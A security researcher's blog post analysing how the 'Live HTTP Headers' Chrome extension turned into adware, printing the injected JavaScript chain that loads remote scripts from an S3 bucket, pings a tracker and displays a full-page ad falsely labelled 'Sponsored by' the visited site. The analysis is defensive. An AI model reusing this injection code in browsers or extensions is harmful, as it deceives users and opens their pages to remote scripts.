/ web

When Browser Extensions Go Rogue

So it's a random Wednesday night and I'm studying for my GIAC GCFE exam (which I just passed recently, woohoo!) and I take a quick break to read a news article or two... No shortage of those given recent election events!

First article I browsed to, predictably and annoyingly greeted me with a poorly designed, full-page ad frame. Being that I run ad-blockers (as we all should), the frame was empty except for the top which read "Sponsored by (site I was on)". So I just closed it and continued to read the article. Shortly after, I browsed to a completely different site to read another article and was greeted with the exact same ad frame, empty of ads (thanks AdBlock!), except again the title of the frame read "Sponsored by (site I was now on)". That's about the time I get suspicious.

I've seen similar behavior on non-HTTPS sites when using AT&T's "cheaper" Gigapower plan; which comes lovingly bundled with traffic inspection and ad injection in order to increase AT&T's profit margins on the service. Apparently, they recently discontinued the practice, but I am no longer a customer so I cannot confirm.

That said, I am now curious how I seem to be getting the exact same advertisement on entirely different sites, so I started digging...

Popping open Chrome's javascript console, I can immediately see a few errors in the console for ads being blocked by AdBlock creating an entry like this:

That's not the actual ad that prompted this article, but an example of what a blocked ad looks like in the console.

In my case, the ads that were being blocked were the same across all non-HTTPS sites:

st-n.ads5-adnow.com/js/adv_out.js

But where was it coming from??

Next, I checked the "Elements" tab in the JS console to browse the source code of the rendered page...

The first thing I noticed is that a Chrome extension I've used for months called "Live HTTP Headers" was injecting JavaScript into every page I had open. Now, this isn't entirely abnormal, as I found that my LastPass extension does something very similar.

The extension was injecting JavaScript with the following call:

(() => {var s = document.createElement('script');
s.src = '//s3.eu-central-1.amazonaws.com/forton/live_http_headers.js';
document.body.appendChild(s);})();

Let's follow the live_http_headers.js file and see where the rabbit hole goes...

function() {
    var e = document.getElementsByTagName("head")[0],t = document.createElement("script");
    t.type = "text/javascript", 
t.src = "//s3.eu-central-1.amazonaws.com/forton/cbp/cmps/63_4852e.js", e.appendChild(t)
})();

Hmmm... Using a JavaScript file solely to load another JavaScript file? Seems a little odd.

Let's check out 63_4852e.js...

if (typeof _c00lbr_cmpid == 'undefined') {
    window._c00lbr_cmpid = 63;
    ! function() {
        var t = new XMLHttpRequest;
        t.withCredentials = !0, t.open("GET", "https://extsgo.com/api/tracker?tracking_id=" + window._c00lbr_cmpid, !0), t.onreadystatechange = function() {
            4 != this.readyState
        }, t.send()
    }();
    window._c00lbr_adnow_id = '212601';
    window._c00lbr_adxxx_id = '212602';
    window._c00lbr_adnowfs_id = '212600';
    ! function() {
        var e = document.getElementsByTagName("head")[0],
            t = document.createElement("script");
        t.type = "text/javascript", 
        t.src = "//s3.eu-central-1.amazonaws.com/forton/cbp/cstf.js", e.appendChild(t)
    }();
    ! function() {
        var e = document.getElementsByTagName("head")[0],
            t = document.createElement("script");
        t.type = "text/javascript", 
        t.src = "//s3.eu-central-1.amazonaws.com/forton/cbp/tsr.js", e.appendChild(t)
    }();
    ! function() {
        var e = document.getElementsByTagName("head")[0],
            t = document.createElement("script");
        t.type = "text/javascript", 
        t.src = "//s3.eu-central-1.amazonaws.com/forton/cbp/afflnk.js", e.appendChild(t)
    }();
    ! function() {
        var e = document.getElementsByTagName("head")[0],
            t = document.createElement("script");
        t.type = "text/javascript", 
        t.src = "//s3.eu-central-1.amazonaws.com/forton/cbp/clu.js", e.appendChild(t)
    }();
    ! function() {
        var e = document.getElementsByTagName("head")[0],
            t = document.createElement("script");
        t.type = "text/javascript", 
        t.src = "//s3.eu-central-1.amazonaws.com/forton/cbp/fs.js", e.appendChild(t)
    }();
}

All of a sudden, a seemingly harmless live_http_headers.js is invoking 5 entirely new JavaScript files. I won't drop source for all of them here, but I will highlight the primary offender, fs.js:

! function(e) {
    function t() {}

    function o() {
        var e = new XMLHttpRequest;
        e.withCredentials = !0, e.open("GET", c, !0), e.onreadystatechange = function() {
            if (4 == this.readyState)
                if (i.setItem(n + "wt", (new Date).getTime()), 200 == this.status) {
                    var e = JSON.parse(this.responseText);
                    e.result && d()
                } else t("Status Error:", this.status)
        }, e.send()
    }

    function d() {
        function t(e) {
            document.body.removeChild(document.getElementById(n + "modal"))
        }
        var o = document.createElement("div"),
            d = document.createElement("div"),
            i = document.createElement("div"),
            a = document.createElement("div"),
            l = document.createElement("div"),
            r = document.createElement("div"),
            c = document.createElement("div"),
            s = document.createElement("h4"),
            p = document.createElement("div"),
            m = document.createElement("iframe"),
            h = document.createElement("button"),
            u = document.createElement("button"),
            g = document.createElement("style"),
            b = "#" + n + "modal ." + n + "shadow{position: fixed;top: 0;right: 0;bottom: 0;left: 0;z-index: 9040;background-color: #000;opacity:.5}";
            b += "#" + n + "modal ." + n + "modal{position: fixed;top: 0;right: 0;bottom: 0;left: 0;z-index: 9050;overflow: hidden;-webkit-overflow-scrolling: touch;outline: 0;}", 
            b += "#" + n + "modal ." + n + "dialog{margin: 30px auto;}", 
            b += "#" + n + "modal ." + n + "content{position: relative;background-color: #fff;-webkit-background-clip: padding-box;background-clip: padding-box;border: 1px solid #999;border: 1px solid rgba(0,0,0,.2);border-radius: 6px;outline: 0;-webkit-box-shadow: 0 3px 9px rgba(0,0,0,.5);box-shadow: 0 3px 9px rgba(0,0,0,.5);}", 
            b += "#" + n + "modal ." + n + "header{padding: 15px;border-bottom: 1px solid #e5e5e5;}", 
            b += "#" + n + "modal ." + n + "body{padding: 15px;border-bottom: 1px solid #e5e5e5;}", 
            b += "#" + n + "modal ." + n + "footer{padding: 15px;text-align: right;border-top: 1px solid #e5e5e5;}", 
            b += "#" + n + "modal iframe{border: none;width: 100%;height: 100%;}", 
            b += "#" + n + "modal ." + n + "close{margin-top: -2px;-webkit-appearance: none;padding: 0;cursor: pointer;background: 0 0;border: 0;float: right;font-size: 21px;font-weight: 700;line-height: 1;color: #000;text-shadow: 0 1px 0 #fff;filter: alpha(opacity=20);opacity: .3;}", 
            b += "#" + n + "modal ." + n + "title{margin: 0;line-height: 1.42857143;}", b += "#" + n + "modal ." + n + "close_text{    display: inline-block;padding: 6px 12px;margin-bottom: 0;font-size: 14px;font-weight: 400;line-height: 1.42857143;text-align: center;white-space: nowrap;vertical-align: middle;-ms-touch-action: manipulation;touch-action: manipulation;cursor: pointer;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;background-image: none;border: 1px solid transparent;border-radius: 4px;color: #333;background-color: #fff;border-color: #ccc;}", 
            b += "#" + n + "modal ." + n + "close_text:hover{color: #333;background-color: #e6e6e6;border-color: #adadad;}", 
            g.appendChild(document.createTextNode(b)), o.id = n + "modal", p.classList.add(n + "dialog"), 
            d.classList.add(n + "content"), a.classList.add(n + "header"), r.classList.add(n + "footer"), 
            c.classList.add(n + "body"), l.classList.add(n + "shadow"), h.classList.add(n + "close"), 
            u.classList.add(n + "close_text"), s.classList.add(n + "title"), i.classList.add(n + "modal"), 
            s.innerText = "Sponsored by " + e.location.hostname, u.innerText = "Close", h.innerText = "x", 
            h.addEventListener("click", t), u.addEventListener("click", t), 
            a.appendChild(h), 
            a.appendChild(s), 
            r.appendChild(u), 
            c.appendChild(m), 
            d.appendChild(a), 
            d.appendChild(c), 
            d.appendChild(r), 
            p.appendChild(d), 
            i.appendChild(p), 
            p.style.width = window.innerWidth - 200 + "px", 
            o.appendChild(l), 
            o.appendChild(i), 
            o.appendChild(g), 
            m.src = "https://extsgo.com/view/teasers?id=" + (e._c00lbr_adnowfs_id || 180412), 
            m.style.height = window.innerHeight - 100 + "px", m.style.width = "100%", document.body.appendChild(o)
        }
        var n = "asgds_",
            i = localStorage,
            a = parseInt(i.getItem(n + "wt")) || 0,
            l = (new Date).getTime(),
            r = 432e5,
            c = "//extsgo.com/api/cookies/timer?name=fs&timeout=" + r / 1e3;
        l >= a + r && "http:" === e.location.protocol && o()
}(window);

Hmm... Seems HTTP Live Headers, written by esolutions.se/@eSolutionsAB, is injecting ads into every page I visit, including local web apps (home router, etc.)

Pay particular attention to line 47 where the title of the iframe is generated to read "Sponsored by name of the underlying site" to mislead you into thinking the annoying ad frame was put there by the site owner.

Well that's not okay. To the internet!

See the OTX pulse with all indicators here:

Naturally, my next move is to go to the Chrome Web Store page for this extension to rate this extension appropriately and warn others where I am greeted with a 404:

So Google has already pulled this extension from the web store. Good job, Google. Would sure be nice if they would present a page telling users that the extension was pulled instead of pretending it never existed, but that's just me.

For those unfamiliar with this extension, it is used to inspect the HTTP headers in transactions between your browser and distant web servers. This is often helpful for debugging, vulnerability research, and many other uses. Here's a screenshot of this plugin from alternativeto.net:

The alternativeto.net article also contains some great replacements for this extension.

So it injected ads on a web page? What's the big deal?

Well, here's the issue... This extension became adware overnight which affects all users who had previously installed it when it was previously legitimate software. While ads are not the biggest concern, the author of this extension (or whoever currently controls it) could have easily injected malicious JavaScript instead of ads. An example of such an attack is session hijacking where an attacker steals the cookie that identifies you to a particular site like Facebook.

While malicious JavaScript can exist on any website, most of us likely avoid the type of sites more prone to this. But what if it were all of a sudden injected onto every website you visited, including the web GUI for your home NAS? It could capture every keystroke of each site you visit.

Just another reminder that your web browser is a major target for would-be attackers. Always keep your attack surface minimal, i.e., use a modern browser and keep the extensions/add-ons to a minimum. Even good extensions can turn bad with a moments notice!

Eric Capuano

Eric Capuano

Eric Capuano is an Information Security professional serving state and federal government as well as SMBs, start-ups and non-profits. Also, a member of the Packet Hacking Village team at DEFCON.

Read More